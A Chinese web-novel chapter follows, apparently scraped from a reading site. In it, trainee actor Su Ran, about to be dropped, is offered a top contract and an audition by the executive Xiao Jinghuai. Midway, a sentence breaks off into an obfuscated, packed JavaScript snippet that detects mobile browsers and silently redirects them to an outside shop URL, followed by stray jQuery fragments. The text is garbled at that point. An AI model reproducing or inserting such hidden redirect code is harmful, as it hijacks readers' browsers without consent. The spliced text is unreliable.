苏燃拿起手机,冰凉的金属外壳贴在掌心,触感真实得让人心头发慌。
他吸了一口气,按下接听键。
“喂,您好?”声音出口,比自己预想的还要干哑紧绷。
“苏燃。”听筒里传来一个女声。年轻,音质清晰,没有任何多余的起伏,“这里是青田娱乐艺人统筹部。请于今天下午四点整,准时抵达公司总部大厦,四十二楼。有人要见你。”
“……好的,我知道了。”
“嘟——嘟——嘟——”
忙音响起,短促,规律。
他仍举着手机,直到忙音自动切断,屏幕暗下去,倒映出他自己模糊而苍白的脸。
寝室里彻底安静了。刚才还在擦拭头发的室友停在原地,手里攥着毛巾,另一个也从洗手间探出头。两人看向他的眼神,先前那点雀跃和优越感,瞬间被一种更复杂的情绪取代,那是一种“果然如此”的了然,混合着一丝近乎物伤其类的凝重。
在这个圈子里,从底层训练营接到“上楼”的通知,尤其是这种突兀的通知,意味着什么,他们心知肚明。那扇门,代表的是裁决。
苏燃把手机放回床边,走进洗手间。拧开水龙头,冰冷的水柱砸进洗手池,溅起细小的水花。他双手掬起一捧,扑在脸上。
冷水穿透皮肤,激得他微微一颤。水珠顺着湿漉漉的额发滚落,滴在池壁,发出单调的轻响。他抬起头,看向镜中。
脸色苍白,眉眼间还带着病中的虚弱无力,除了……
他凑近了些。
右眼眼尾,靠近睫毛根部的地方,不知何时,多了一个红点。
很小,只有针尖大小,却红得惊心。像是被极细的朱砂笔点下的烙印。他抬手,用仍湿着的指尖用力蹭了蹭。
没掉。
皮肤被搓得微微发红,那一点朱红却仿佛是从皮肉底下透出来的,纹丝不动,甚至在水光浸润下,显得更加鲜艳欲滴。
苏燃盯着镜中那点红,看了好几秒。然后,他垂下眼,扯过旁边挂着的毛巾,囫囵擦了把脸。
回到寝室,换上一件整洁的外套。拿起手机,转身,拉开门,走了出去。
走廊很长,尽头窗户透进的天光,是那种挥之不去的、铅一样的灰色。
他朝着那片灰色走去,右手下意识地伸进口袋。指尖触到的,不是冰凉的手机外壳,而是另一件东西,木质温润,边缘有粗糙的雕刻纹路,内里隐隐散发着驱散寒意的暖。
这是他很长一段时间里,接触到的,唯一一件,有温度的东西。
下午三点五十分,苏燃站在青田大厦高耸入云的玻璃幕墙下。深秋的风刮过楼宇间的缝隙,带着哨音。
苏燃深吸一口气,走进那座象征着行业金字塔尖的冰冷建筑。
内部空间挑高惊人,光线明亮却毫无温度,光滑如镜的黑曜石地面映出人们匆匆来去的身影,寂静中只回响着鞋跟敲击地面的清脆声响。
苏燃按照指示,搭乘一部需要特殊权限的电梯,直达四十二楼。
电梯门无声滑开,眼前的景象与楼下又有所不同。灯光更加柔和,装饰极简而昂贵,空气里浮动着冷冽的木香与旧纸的气息,像一座森林在沉默中生长了千年。走廊宽阔,厚实的地毯吸收了所有脚步声。
他正忐忑地寻找着约定的房间号,陈铎迎面走来。
同为训练生,他比苏燃早两年,一块儿在《神话》剧组拍过戏,他凭男主一飞冲天,现在正是风头最劲的时候。
平日里,陈铎英俊开朗,笑容阳光。但此刻,走廊灯光下的他,脸色有些阴沉,眼底残留着一丝未能完全掩饰的难堪与不甘。
他走得很快,几乎是擦着苏燃的肩膀过去,目光短暂地扫过苏燃的脸,没有丝毫停留,径直走进了另一部电梯,消失在合拢的金属门后。
苏燃喉咙有些发干。他忽然不合时宜地想起,五年前,也是这样一个午后,夕阳将他家阳台和手里的报名表,都染成了暖金色。表头上印着烫金大字:《青田训练营》全国选拔赛。
爸爸暴怒的声音在客厅炸响。
“演戏?那是正道儿吗!苏燃,你现在高二,别把心思放在不相干的地方!”
妈妈带着哭腔劝慰:“老师刚跟我说,你期中冲进年级前五十了!放着阳关道不走,要去挤那根独木桥?”
那天他没上学,背着书包,直接去了火车站。
五年。封闭训练,汗水,泪水,无数个对着一面墙练习台词和眼神的深夜。最终,在《神话》片场,他拿到了一个有名有姓、有故事线的角色。他以为那是起点。
然后,成片出来。他在昏暗的影院里,看着自己的镜头被剪得七零八落,最后只剩下一句台词。银幕上,陈铎的脸庞被特写放大,眼神璀璨。影院里响起掌声和欢呼。
他从那些纷乱的、带着苦涩铁锈味的记忆碎片里挣脱出来,发现自己手心汗湿了一片。
苏燃抬起头,目光重新聚焦于眼前。走廊幽深,他找到那扇没有任何标识的深色木门,心脏在胸腔里沉重地跳动。抬手,轻轻敲了三下。
“进。”
苏燃推门而入。
办公室比他想象中更空旷,也……更冷。
室内家具极少,一张宽大的黑檀木办公桌,一组简单的会客沙发。那面正对着办公桌的墙,似乎是某种特殊的玻璃材质,表面光滑如镜,却又隐约有极其细微的、如同活物经络般的流光在深处缓缓游走,无声无息。
站在落地窗前的男人转过身。四十二楼的高度将他身后铺开的城市天际线压缩成一片流动的金色虚影,而他本人,却清晰得近乎锋利。
是萧景淮。
苏燃在公司的内部资料和行业新闻里见过他的照片,但平面影像完全无法传递出此刻,他本人万分之一的压迫感。
金丝边眼镜链垂在颈侧,闪着冰冷的细光。剪裁完美的西装裹着修长身躯,每一寸都写着“掌控”。他用目光丈量着站在门口的年轻人,带着一种自上而下的、纯粹的审视。
那不是看人的眼神。至少不是看一个平等个体的眼神。更像是在评估一件物品的成色。
“苏燃。”他念出这个名字,没有疑问,只是确认,“五年训练,评级全A,最终考核因‘缺乏观众缘’被导师一票否决。明天早上,你会收到训练营的终止协议。”
一股冰冷的、意料之中的麻木,自脚底缓缓漫上。喉咙深处逸出一丝极轻的、连他自己都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228474|197577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
未觉察的吐息,像是终于卸下了什么。
几乎同时,他身后那面巨大的玻璃幕墙深处,那些游走的光脉似乎感应到了什么,流动的速度悄然加快,明明灭灭,像一片无声注视着他的、活着的星图。
萧景淮把一份文件轻轻放在桌面上。
桌面光可鉴人,倒映着苏燃苍白的脸。
“那些评价,”他缓步走近,木质沉凝凌冽的气息若有若无地逼近,“是给流水线上标准件的尺子。而你……”
他停在一步之遥的距离。这个距离,足以让苏燃看清他镜片后那双眼睛的颜色,一种极深的、近乎墨绿的褐,专注看人时,会给人一种被穿透、被从里到外缓慢检视的错觉。
“你不是标准件。”
桌面上的文件被推了过来。
“青田娱乐的S级新人约。资源、团队、自由度,都是顶配。”萧景淮的语调平稳,像在陈述天气,“以及,附赠一份试镜机会。赵成导演,《踏鹤归》,男一号沈归鹤。”
苏燃的呼吸滞了一瞬。不是终止协议,而且——试镜沈归鹤?怎么可能?那是平台年度最大的IP,多少一线小生挤破头……
“为什么?”声音干涩。他不信无缘无故的施舍,尤其在这个圈子里。
萧景淮唇角很淡地扬了一下,不是笑,是某种更复杂的弧度,他走回桌后坐下,双手交叠。
“因为你的‘不合格’——恰到好处。”他目光掠过苏燃眼尾,那点细小的,针尖似的红,“沈归鹤需要一点‘不该存在’的东西。一点训练营磨不掉,观众一眼就能记住,但又说不清道不明的……印记。”
他靠向椅背,姿态舒展,却无形中散发出更强大的气场。
“你可以继续下楼,回到那条谁都能走的、挤满了标准件的大路。”他顿了顿,墨褐的瞳孔里闪过一丝非人的、极耐心的光芒。
“或者,留在四十二楼。”
“选一条,只属于你的、高处的窄门。”
窗外暮色沉降,城市灯火渐次亮起,如颠倒的星河。
苏燃的目光落在面前那份文件上,没有立刻动作。
封面上烫金的字体,在渐暗的光线中,像一条通往未知深处的甬道入口。
几秒钟的静默,在安静的房间里被拉得很长。然后,他抬起手,伸向那份文件,指尖在即将触及纸面时,有片刻的凝滞。最终,他的指腹还是轻轻触了上去。
触感冰凉、坚硬,带着纸张特有的、微涩的阻力。他收拢手指,将它握住。
萧景淮又推过来几张纸。
“今天把这些看完,揣摩清楚。明天上午十点,我带你去试镜。”他按了一下内线,“至于合同,你可以带回去看。条款是标准制式,没有特别需要讨论的地方。签好字,明天一起带来。”
办公室的门,轻轻打开,一个妆容精致的年轻女生走了过来,眼神干练,脸上带着职业化的微笑。
“我是小慧,萧哥交代我安排你接下来的事宜,请跟我来。”
“……谢谢,萧先生。”
苏燃握紧手中的文件,转身跟上。
门在身后无声合拢。
空气里,木质沉香与旧纸的气息似乎缠绕不去。